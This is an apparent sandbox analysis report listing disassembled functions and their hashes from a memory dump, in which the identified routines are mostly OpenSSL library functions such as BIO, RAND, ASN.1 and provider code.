crypto\engine\eng_table.c, xrefs: 1007B1B9, 1007B29E, 1007B2B0, 1007B2CF

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: AcquireExclusiveLock
String ID: crypto\engine\eng_table.c$engine_table_register
API String ID: 4021432409-2774506317
Opcode ID: d3c38ee78ec561bf4fc7c2e43d10c870f9f92ba3d59ab4fe88bfe3fc3b945660
Instruction ID: f730892fb0107cad929941b96a6df935f3498c733cd8c846f7fb3a6b7ec73e17
Opcode Fuzzy Hash: d3c38ee78ec561bf4fc7c2e43d10c870f9f92ba3d59ab4fe88bfe3fc3b945660
Instruction Fuzzy Hash: 3141C578901705ABDB10DB14DC42F4F3BE5EF01394F018824FA8996253FB7AF919CA6A

Function 10068240 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 125COMMON

Download Yara Rule

Strings

BIO_ctrl, xrefs: 10068339
crypto\bio\bio_lib.c, xrefs: 10068343

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID:
String ID: BIO_ctrl$crypto\bio\bio_lib.c
API String ID: 0-1930067870
Opcode ID: 0b21b4e4892acb4e45073520c282f819c8011caa8be5c64f261fc11cfa81b67c
Instruction ID: 90875bd3b636d204e77e3a17650da92c5ab219ad332b10a17d4ad1c14f992f5f
Opcode Fuzzy Hash: 0b21b4e4892acb4e45073520c282f819c8011caa8be5c64f261fc11cfa81b67c
Instruction Fuzzy Hash: 7E31D2B1744702AFE224CB09CC41F6BB3E9EF857A4F10461DFA59972C0D775BA008765

Function 10060790 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 118COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 100607EF

Strings

crypto\provider_core.c, xrefs: 100607DD
get_provider_store, xrefs: 100607D3

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: crypto\provider_core.c$get_provider_store
API String ID: 3906573944-1804035588
Opcode ID: 436e76320a69db8b240becde96342d14a59ea3066bc9ca36d88e1bce78771c83
Instruction ID: c6f06608167a8a911d016046d14aa2ebad6798de108e4cc8171124e9c4d74085
Opcode Fuzzy Hash: 436e76320a69db8b240becde96342d14a59ea3066bc9ca36d88e1bce78771c83
Instruction Fuzzy Hash: 5931C379944346AFC600DF24DC01B5BB6E6FF50354F004A3CF8A952262EB36FA58CAD2

Function 1005D230 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMON

Download Yara Rule

Strings

crypto\rand\rand_lib.c, xrefs: 1005D275
RAND_bytes_ex, xrefs: 1005D26B

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID:
String ID: RAND_bytes_ex$crypto\rand\rand_lib.c
API String ID: 0-3968469746
Opcode ID: 483435ae9daf0f8cf8aef6b01213269b179f5ef42a2c57337bae1cc2cd452ed9
Instruction ID: cb09985f155bf2bab5612a94e0ae949ce41903a83d970e46a7f04705e925163c
Opcode Fuzzy Hash: 483435ae9daf0f8cf8aef6b01213269b179f5ef42a2c57337bae1cc2cd452ed9
Instruction Fuzzy Hash: 0C212C36B4431536E270F6647C43F9B2388DF41BA1F010627FD58BA2C2F955F95A81E6

Function 1014BC00 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 101COMMON

Download Yara Rule

Strings

X509_NAME_print, xrefs: 1014BCD9
crypto\x509\x_name.c, xrefs: 1014BC24, 1014BCBC, 1014BCE3, 1014BD00

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID:
String ID: X509_NAME_print$crypto\x509\x_name.c
API String ID: 0-1638314198
Opcode ID: 277136e178874afb57296cc93b9ca074dc36ca1219dfbb37e75c980918d30fe9
Instruction ID: fb3491ce2f5902ce3cc86bfe48e7255a624d27b184f5a26e9fb7b34d80d0acb5
Opcode Fuzzy Hash: 277136e178874afb57296cc93b9ca074dc36ca1219dfbb37e75c980918d30fe9
Instruction Fuzzy Hash: D9217D79E4438A39E71187607DC2BAB3A8DEB51398F210535F9CDD40A3EB8DB9498352

Function 1008C490 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,-00000001,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,1008A0F8,?), ref: 1008C4E6
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,-00000001,00000000,00000000,00000000,00000000,?,?,?,?,?,?,00000000,?), ref: 1008C536

Strings

engines\e_capi.c, xrefs: 1008C4C0, 1008C4F7, 1008C516, 1008C545, 1008C555

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: ByteCharMultiWide
String ID: engines\e_capi.c
API String ID: 626452242-2638333933
Opcode ID: ac0f51f8632411e21faeafc1d5c013b303b9ede0798d5a127029147f713ad446
Instruction ID: 4cbaba03f42feaf414d4a06911ef36f719b4a04b669ace603f57170bc1a1b307
Opcode Fuzzy Hash: ac0f51f8632411e21faeafc1d5c013b303b9ede0798d5a127029147f713ad446
Instruction Fuzzy Hash: C5218C76BC130432F22071A62D47FBB6358DB81F67F144613F705BA1C2DBD2B5010164

Function 1005D460 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 90COMMON

Download Yara Rule

APIs

Part of subcall function 100672C0: AcquireSRWLockShared.KERNEL32(00000000,10082EFC,00000000,00000001,?,00000000,1006F40D,?,?,?,?,?,?,1006B9F8,00040000,00000000), ref: 100672C4

Part of subcall function 10067340: ReleaseSRWLockExclusive.KERNEL32(?,1007AC0F,?,?,?,1006F40D,?,?,?,?,?,?,1006B9F8,00040000,00000000,00000000), ref: 10067352

Part of subcall function 10067370: AcquireSRWLockExclusive.KERNEL32(?,?,1007ABE6,?,1006F40D,?,?,?,?,?,?,1006B9F8,00040000,00000000,00000000), ref: 10067376

__fprintf_l.LIBCMT ref: 1005D536

Part of subcall function 10067340: ReleaseSRWLockShared.KERNEL32(?,1007AC0F,?,?,?,1006F40D,?,?,?,?,?,?,1006B9F8,00040000,00000000,00000000), ref: 1006735E

Strings

RAND_get0_primary, xrefs: 1005D519
crypto\rand\rand_lib.c, xrefs: 1005D523

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: Lock$AcquireExclusiveReleaseShared$__fprintf_l
String ID: RAND_get0_primary$crypto\rand\rand_lib.c
API String ID: 3812524005-4002407760
Opcode ID: abf2ff9ceb97f25e175a231f98df468441ac04907d72793da72bf71803091130
Instruction ID: 41efde23dced19384ecdc2d2c65fa30da9fa308dfb325635311617844f2292d3
Opcode Fuzzy Hash: abf2ff9ceb97f25e175a231f98df468441ac04907d72793da72bf71803091130
Instruction Fuzzy Hash: 5E214CBAA0030167E620FA55AC43F1B32D1EF80658F04443BF94D65253FB66F8599653

Function 100974C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 80COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1009756A

Strings

crypto\evp\p_lib.c, xrefs: 10097558
pkey_set_type, xrefs: 1009754E

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: crypto\evp\p_lib.c$pkey_set_type
API String ID: 3906573944-1336405191
Opcode ID: 2c7809648301a96a96b9cc7521f9faab0feed3d78b450eefec24c4960e235b4f
Instruction ID: bf165e5fe252b7c92d66ad8af92bdadd4c602f9930acb2d662cda7846f21c8ce
Opcode Fuzzy Hash: 2c7809648301a96a96b9cc7521f9faab0feed3d78b450eefec24c4960e235b4f
Instruction Fuzzy Hash: AB21AEB6900B429FD760DF54A880A07B7E0FF40790F52892EF5CD52611E771F8449A52

Function 100BC230 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 79COMMON

Download Yara Rule

Strings

crypto\asn1\tasn_utl.c, xrefs: 100BC2DE
ossl_asn1_do_adb, xrefs: 100BC299, 100BC2D4

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID:
String ID: crypto\asn1\tasn_utl.c$ossl_asn1_do_adb
API String ID: 0-1254107490
Opcode ID: 1172adef33fc077b29deb9d9c3d00ed50d25d7192c69260097ccd0353bc41933
Instruction ID: d7b70ca23080ee0817c541c11ea52efe7ec4fa3b0a19faf2e275ad7cca5970bb
Opcode Fuzzy Hash: 1172adef33fc077b29deb9d9c3d00ed50d25d7192c69260097ccd0353bc41933
Instruction Fuzzy Hash: 0E21DE3934470A5BD714DFA8EC42F9AB3E0FF81750F160529F994E6281D730FC8596A2

Function 10066F10 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 78COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 10066F63

Strings

crypto\o_str.c, xrefs: 10066F53
buf2hexstr_sep, xrefs: 10066F49

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: buf2hexstr_sep$crypto\o_str.c
API String ID: 3906573944-1640101698
Opcode ID: 7609dd8398c9ffadeee783a435fea3d1d48320deced2abbc5fa49d482a445c26
Instruction ID: 72de2e4daebbd837684028c6b10fde262377d452989ecc961a493f1e561d126d
Opcode Fuzzy Hash: 7609dd8398c9ffadeee783a435fea3d1d48320deced2abbc5fa49d482a445c26
Instruction Fuzzy Hash: 31216B7114D3D24AC709CB3499A1BA5BFE0DF07240F0C05DDF4C64F283D626A509DB91

Function 10097780 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1009782D

Strings

crypto\evp\p_lib.c, xrefs: 1009781B
pkey_set_type, xrefs: 10097811

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: crypto\evp\p_lib.c$pkey_set_type
API String ID: 3906573944-1336405191
Opcode ID: 89cea41674613a623799003cf29138075fd9234c2a271c53a75eccb4e7ecdf87
Instruction ID: b9867633266996989891e6f90eefabfdfe2959fca5fdf23d8e9672a39da90440
Opcode Fuzzy Hash: 89cea41674613a623799003cf29138075fd9234c2a271c53a75eccb4e7ecdf87
Instruction Fuzzy Hash: AC217876900B029BD722CF55D845B0BB7E4FF907A0F10882EF8CD92651EB31A854DB92

Function 1005BA50 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 76COMMON

Download Yara Rule

Strings

crypto\objects\obj_dat.c, xrefs: 1005BAD0
ossl_obj_obj2nid, xrefs: 1005BAC6

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID:
String ID: crypto\objects\obj_dat.c$ossl_obj_obj2nid
API String ID: 0-394383844
Opcode ID: 868b73c12bea388eb99f8265bc6b901d27167427aa238b06622ef90fd39e443f
Instruction ID: 41473eac14c9d28e7b822c83fc8c0130127a28c9bedebcc2618ba879ab83c51f
Opcode Fuzzy Hash: 868b73c12bea388eb99f8265bc6b901d27167427aa238b06622ef90fd39e443f
Instruction Fuzzy Hash: 4121AE79704204ABE600DB18EC86F6A73D4EB84741F858428F989DA291EB65F91CCE57

Function 100E3E00 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 100E3E43

Strings

UI_new_method, xrefs: 100E3E29
crypto\ui\ui_lib.c, xrefs: 100E3E03, 100E3E30, 100E3E4A, 100E3EB4

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: UI_new_method$crypto\ui\ui_lib.c
API String ID: 3906573944-11851397
Opcode ID: da68258b84c1b26e3e9ecf3db72bcff5fbaf686293cf9fb0743e0e61c1861722
Instruction ID: bbefc52d6efe00b149d6f5aa7ccdca89abb41d77570e8b6be24aa6f4a84a949f
Opcode Fuzzy Hash: da68258b84c1b26e3e9ecf3db72bcff5fbaf686293cf9fb0743e0e61c1861722
Instruction Fuzzy Hash: 22110139A8071239D230E6B6BD07F8B7BE4DF51B04F110425FA49B61C2EA90B85582E1

Function 1008D440 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 73COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1008D4F4

Part of subcall function 1008E690: __fprintf_l.LIBCMT ref: 1008E6EB

Strings

asn1_item_ex_d2i_intern, xrefs: 1008D4DA
crypto\asn1\tasn_dec.c, xrefs: 1008D4E1

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: asn1_item_ex_d2i_intern$crypto\asn1\tasn_dec.c
API String ID: 3906573944-1696243170
Opcode ID: 93d90fb57defa219d9c6ef90d6cacb9b980c1b2fb35915a4429f1ef1a67737ac
Instruction ID: 731bd3cb322685357e1db5962ba66a5ed8b276830f127698d202aa441d8cb6a5
Opcode Fuzzy Hash: 93d90fb57defa219d9c6ef90d6cacb9b980c1b2fb35915a4429f1ef1a67737ac
Instruction Fuzzy Hash: 5511E435B04210AFE210DB698C83F5B77D4EFC8710F80050AF588D7181EAB8B9148696

Function 100BC310 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 100BC398

Strings

ossl_asn1_do_lock, xrefs: 100BC37E
crypto\asn1\tasn_utl.c, xrefs: 100BC385

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: crypto\asn1\tasn_utl.c$ossl_asn1_do_lock
API String ID: 3906573944-1286639997
Opcode ID: 126a333173a6a866a2e51e081323d6a046119139b22953627e46d51f9fd84d3f
Instruction ID: f00535b15a9a841d08626d84486288ed99052715d3502ea82c189722e47a0139
Opcode Fuzzy Hash: 126a333173a6a866a2e51e081323d6a046119139b22953627e46d51f9fd84d3f
Instruction Fuzzy Hash: 4B11E13A6003125BC640DB6CFC00B9AB3D0EF42B74F664665F5A8DB2E1D322EC438781

Function 10060D10 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 70COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 10060DEB

Strings

crypto\provider_core.c, xrefs: 10060D16, 10060D93, 10060DD8
provider_new, xrefs: 10060D4D, 10060DCE

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: crypto\provider_core.c$provider_new
API String ID: 3906573944-3257131825
Opcode ID: 2c4a0a0701279fa2d47e373e23ebbed358225183c5a0e9470d2402aefe09024b
Instruction ID: 313607ff6e8fdbc74c14e9644d4d53a53747f75548a0cb424989b326f960aef1
Opcode Fuzzy Hash: 2c4a0a0701279fa2d47e373e23ebbed358225183c5a0e9470d2402aefe09024b
Instruction Fuzzy Hash: 2211E77898570366F261EBF5BC22F9B37E1EF01780F014628F98DA6182FB64F50486D6

Function 1007CDD0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 68COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1007CE0A

Strings

crypto\encode_decode\decoder_meth.c, xrefs: 1007CDF8
OSSL_DECODER_CTX_set_params, xrefs: 1007CDEE

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: OSSL_DECODER_CTX_set_params$crypto\encode_decode\decoder_meth.c
API String ID: 3906573944-3186248450
Opcode ID: f6bd3289990bfe0de6f3fb5f5487030bb2c3ecaab54e8fbe63b713c8e18c7fb5
Instruction ID: f526a075d72b81d9664b019ef9f3216a2edea75431014c0bf12a35bb2f7b093a
Opcode Fuzzy Hash: f6bd3289990bfe0de6f3fb5f5487030bb2c3ecaab54e8fbe63b713c8e18c7fb5
Instruction Fuzzy Hash: 77114876601309ABEB00EA749C42F5B77D8EF813A4F01893CFD95D2141EA3DE954C6A6

Function 10068960 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 66COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 100689DA

Strings

BIO_new_ex, xrefs: 100689C0
crypto\bio\bio_lib.c, xrefs: 10068963, 100689C7, 100689ED

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: BIO_new_ex$crypto\bio\bio_lib.c
API String ID: 3906573944-2037535946
Opcode ID: b2eff7b5050a7e37495f21a726a17113b5324e201a4e5b256e61ebf8a8b75cc0
Instruction ID: 4d730150981953ff46331feee010fbd8dbc2399d39e3da1f7f566d1149088c89
Opcode Fuzzy Hash: b2eff7b5050a7e37495f21a726a17113b5324e201a4e5b256e61ebf8a8b75cc0
Instruction Fuzzy Hash: 111155756403017AF320CA40BD43F8B76D8EF41798F010225FA48A5182E3E5FA9982E2

Function 101651D0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 101653F0: __fprintf_l.LIBCMT ref: 1016542B

__fprintf_l.LIBCMT ref: 1016527C

Strings

PKCS12_item_decrypt_d2i_ex, xrefs: 10165263
crypto\pkcs12\p12_decr.c, xrefs: 1016526D, 10165289

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: PKCS12_item_decrypt_d2i_ex$crypto\pkcs12\p12_decr.c
API String ID: 3906573944-1562218764
Opcode ID: f298ae818ded3f059cac029e552c7f167881830a905065358cb2e0bd4a6e0ce9
Instruction ID: 0dc53e9048d4a21deda16ba8bb8b53ee10c28f46069246840a34b2b3b6fa65fc
Opcode Fuzzy Hash: f298ae818ded3f059cac029e552c7f167881830a905065358cb2e0bd4a6e0ce9
Instruction Fuzzy Hash: C5119039504301BFD7029B44EC02F8B7BE5FFC8789F44041CF588A5161E675A568DB67

Function 10060450 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 57COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 10060485

Strings

crypto\provider_core.c, xrefs: 10060473
ossl_provider_test_operation_bit, xrefs: 10060469

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: crypto\provider_core.c$ossl_provider_test_operation_bit
API String ID: 3906573944-1686514222
